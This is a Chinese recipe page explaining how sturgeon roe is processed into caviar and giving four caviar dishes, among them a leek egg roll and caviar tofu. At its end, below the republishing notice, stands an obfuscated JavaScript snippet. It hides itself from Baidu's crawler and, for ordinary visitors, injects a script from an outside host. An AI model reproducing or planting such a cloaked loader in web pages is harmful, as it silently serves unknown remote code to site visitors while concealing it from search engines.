當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

魚子醬怎么做?魚子醬的食譜

2016-06-16 10:12:48  來源:360常識網(wǎng)   熱度:
導(dǎo)語:先將韭菜切碎,然后將韭菜、雞蛋、少許的面粉和牛奶加鹽和色拉油攪勻(多放點油);然后取一平底鍋,鍋里不要放油,倒入一層調(diào)好的漿,用最小火慢慢燒到完全凝固。

魚子醬怎么做?魚子醬的食譜

魚子醬怎么做?魚子醬的食譜

魚子醬怎么做?

鱘魚在里海地區(qū)每年收獲兩次,即春秋兩季;一般認(rèn)為在春天捕獲的鱘魚可生產(chǎn)出質(zhì)量較佳的魚子醬。每年在鱘魚的收獲漁季開始后,漁民們就幾乎整天不停的工作,在俄羅斯捕捉鱘魚的方式是利用鱘魚溯河產(chǎn)卵的特性,在里海周邊匯流而入的河流所形成的三角洲地區(qū)來等候捕捉鱘魚,捉到后就直接在船上宰殺取卵。里海的另一側(cè)伊朗的作風(fēng)就不太相同,伊朗漁民駕小船到湖里捉鱘魚,他們專門捕捉剛要打算產(chǎn)卵的鱘魚,這種魚卵相較之下比較結(jié)實。

由魚卵化身為美味的魚子醬,靠的全是加工的過程,而這加工所需的熟練技巧和知識,足可稱為藝術(shù)。這加工需要在約15分鐘之內(nèi),完成十多道手續(xù);只要再久一點,魚卵便不新鮮了。下面是制作魚子醬的材料及制作步驟。

材料:鹽、魚卵、濾網(wǎng)。

步驟:

首先是把鱘魚給敲昏(可不是弄死,因為那樣魚卵腐敗的速度會更快),取出魚卵,篩檢、清洗、濾干,可以把魚卵交給一位鑒定大師來好好料理。

然后依魚卵的大孝色澤、堅實程度、聚散密度和氣味來評定等級;最后再作那全體過程當(dāng)中最重要的一個決定:得放多少的鹽,把魚卵腌成魚子醬,但鹽味又不會把滋味和口感二者微妙的組合給蓋掉。

最后加鹽之后,把魚卵放在濾網(wǎng)上篩晃,直到干了,便能裝罐,隨后運往世界各地。

魚子醬的食譜

1、魚子醬韭菜蛋卷

做法:先將韭菜切碎,然后將韭菜、雞蛋、少許的面粉和牛奶加鹽和色拉油攪勻(多放點油);然后取一平底鍋,鍋里不要放油,倒入一層調(diào)好的漿,用最小火慢慢燒到完全凝固;在煎好的蛋皮上抹上一層番茄醬,卷起來,切成小塊,插上牙簽,韭菜雞蛋卷就做好了;最后在韭菜蛋卷上面放一點魚子醬,這樣整個魚子醬韭菜蛋卷就完成了。

2、魚子醬蒸山水蛋

做法:先將鵝肝用鮮牛奶浸泡掉血水,切成粒,用橄欖油略煎;然后將魚子醬用啤酒洗去腥味。把鴨蛋開小口,倒出蛋液,在殼上畫上圖案。再將雞蛋液加清湯、煎好的鵝肝、一半魚子醬及鹽、雞粉等調(diào)勻,裝入鴨蛋殼內(nèi)蒸熟,其上點綴另一半魚子醬即成。

3、魚子沙拉

做法:蛋用水煮熟切半,完整取出蛋黃。洋蔥切末,加入蛋黃和法式蛋黃醬攪拌和勻,將混合物填入蛋白中。萵苣切絲拌碟做底,蛋擺在上面,將魚子醬用木質(zhì)地勺點綴于蛋黃上,為了美觀,還可以選擇生菜或其他蔬菜作為裝飾。

4、魚子醬豆腐

做法:將豆腐切成厚片,豬瘦肉、生姜切片,蒜苗切段;鍋內(nèi)下油,燒熱,放入豆腐片,炸至金黃時撈起待用;鍋內(nèi)留底油,放入生姜片、肉片煸炒,下入豆腐,注入高湯,調(diào)入魚子醬、精鹽、味精和耗油煮至入味,下蒜苗煮片刻,用水淀粉勾芡,淋上香油,出鍋入盤即成。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}